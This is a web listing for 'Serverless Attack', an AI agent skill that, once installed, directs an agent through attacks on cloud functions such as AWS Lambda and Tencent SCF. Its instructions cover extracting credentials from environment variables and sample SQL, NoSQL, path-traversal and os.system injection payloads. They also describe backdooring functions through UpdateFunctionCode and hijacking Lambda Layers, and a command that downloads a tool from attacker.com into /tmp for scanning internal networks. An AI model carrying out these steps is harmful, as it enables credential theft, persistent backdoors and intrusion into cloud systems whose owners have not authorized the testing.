Serverless Attack logo

Serverless Attack

OrganizationPopular
wgpsec
serverless-attack

Serverless/云函数安全测试与攻击。当目标涉及 AWS Lambda、腾讯云 SCF、阿里云 FC、Azure Functions 等 Serverless 服务时使用。当发现 API Gateway 后端是 Lambda/SCF 触发、通过 cloud-aksk-exploit 获取到函数操作权限、或需要分析云函数代码中的漏洞时使用。覆盖事件注入(HTTP/OSS/消息队列触发器参数篡改)、环境变量泄露(硬编码凭据提取)、函数代码注入/覆盖(UpdateFunctionCode)、Runtime 利用(/tmp 写入/Layer 劫持/依赖投毒)、临时凭据滥用。发现任何 Lambda/SCF/云函数、API Gateway、或 Serverless 架构时都应使用此 skill

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill nameserverless-attack
Stars
1.7K
Forks
242
Bundled files
2
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 2 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Serverless Attack AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/serverless-attack .claude/skills/serverless-attack
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Serverless Attack in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Serverless Attack on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Serverless Attack is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Serverless/云函数攻击方法论

Serverless 函数运行在短暂的容器中,传统的持久化和横向移动思路不适用。攻击重点是:事件注入(输入篡改)、凭据提取(环境变量/临时 Token)、代码注入(修改函数代码)。

按云平台查阅详细命令

识别云平台后,加载对应 reference 获取完整命令:

Phase 0: 通用信息收集

不论哪个云平台,第一步都是枚举函数列表、获取函数详情(代码 + 配置 + 环境变量)。具体命令参见对应 reference。

Phase 1: 环境变量提取(最快获取凭据的方式)

开发者经常在环境变量中硬编码数据库密码、API Key、其他服务凭据。常见敏感变量名:

  • DB_PASSWORD, DATABASE_URL, MONGODB_URI
  • AWS_ACCESS_KEY_ID(嵌套凭据)、TENCENTCLOUD_SECRET_ID
  • SECRET_KEY, JWT_SECRET, API_KEY
  • REDIS_URL, SMTP_PASSWORD

Phase 2: 函数代码分析

python
# 搜索硬编码凭据
grep -rn "password\|secret\|key\|token\|credential" lambda_code/

# 搜索不安全的输入处理
grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/

# 搜索 SQL 拼接
grep -rn "format\|f'\|%s.*query\|execute" lambda_code/

# 检查依赖版本
cat lambda_code/requirements.txt  # Python
cat lambda_code/package.json      # Node.js

Phase 3: 事件注入

Serverless 函数通过"事件"触发,事件数据就是输入——如果函数没有正确校验事件数据,就可以注入。

3.1 API Gateway → Lambda/SCF 注入

API Gateway 将 HTTP 请求封装为事件传给函数:

json
{
  "httpMethod": "POST",
  "path": "/api/query",
  "queryStringParameters": {"id": "1' OR '1'='1"},
  "body": "{\"username\": {\"$ne\": \"\"}}",
  "headers": {"X-Forwarded-For": "127.0.0.1"}
}

常见注入点:

  • queryStringParameters → SQL/NoSQL 注入
  • body → 反序列化/命令注入
  • headers → SSRF/日志注入
  • pathParameters → 路径遍历

3.2 OSS/COS/S3 触发器注入

对象存储触发器将文件信息作为事件:

json
{
  "Records": [{
    "s3": {
      "bucket": {"name": "my-bucket"},
      "object": {"key": "../../../etc/passwd"}
    }
  }]
}

如果函数用 event['key'] 拼接文件路径做 open() → 路径遍历。 如果函数处理上传的文件内容(如 XML/图片/CSV)→ XXE/SSRF/命令注入。

3.3 消息队列触发器

SQS/CMQ/Kafka 消息作为事件传入:

json
{"Records": [{"body": "'; import os; os.system('id'); '"}]}

Phase 4: 代码注入/覆盖

需要 UpdateFunctionCode 权限。具体命令参见对应云平台 reference。

核心思路:用恶意代码替换函数,让函数既执行原始功能又植入后门(如接受 cmd 参数执行命令)。

Layer 劫持(AWS Lambda 特有)

Lambda Layers 是共享的代码库,修改 Layer 可以影响所有使用它的函数。详见 references/lambda-techniques.md

Phase 5: Runtime 环境利用

/tmp 目录利用

Serverless 函数的 /tmp 是唯一可写目录,且在"热启动"时会保留:

bash
# 写入工具到 /tmp
curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan

# 如果函数有内网访问权限(VPC 中),可以用 /tmp 的工具做内网扫描
/tmp/fscan -h 172.16.0.0/16 -p 22,3306,6379

决策树

发现 Serverless 函数
├── 识别云平台 → 加载对应 reference(lambda-techniques / scf-techniques)
├── 有 GetFunction 权限 → 下载代码 → 审计 → 找漏洞/凭据
├── 有 GetFunctionConfiguration 权限 → 读环境变量 → 提取凭据
├── 有 UpdateFunctionCode 权限 → 注入后门 → RCE
├── 有 Invoke 权限 → 构造恶意事件 → 事件注入
├── 只有 API Gateway 入口 → HTTP 请求层注入(SQLi/NoSQL/SSRF)
└── 无直接权限 → 通过 S3/COS 触发器上传恶意文件

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Serverless Attack AI skill do?

Serverless/云函数安全测试与攻击。当目标涉及 AWS Lambda、腾讯云 SCF、阿里云 FC、Azure Functions 等 Serverless 服务时使用。当发现 API Gateway 后端是 Lambda/SCF 触发、通过 cloud-aksk-exploit 获取到函数操作权限、或需要分析云函数代码中的漏洞时使用。覆盖事件注入(HTTP/OSS/消息队列触发器参数篡改)、环境变量泄露(硬编码凭据提取)、函数代码注入/覆盖(UpdateFunctionCode)、Runtime 利用(/tmp 写入/Layer 劫持/依赖投毒)、临时凭据滥用。发现任何 Lambda/SCF/云函数、API Gateway、或 Serverless 架构时都应使用此 skill

Why use Serverless Attack on TypingMind?

Because you install it once and use it with any model. Serverless Attack is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Serverless Attack in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/serverless-attack. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Serverless Attack?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Serverless Attack?

As many as you like. As long as a model supports skills, you can use Serverless Attack with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Serverless Attack AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇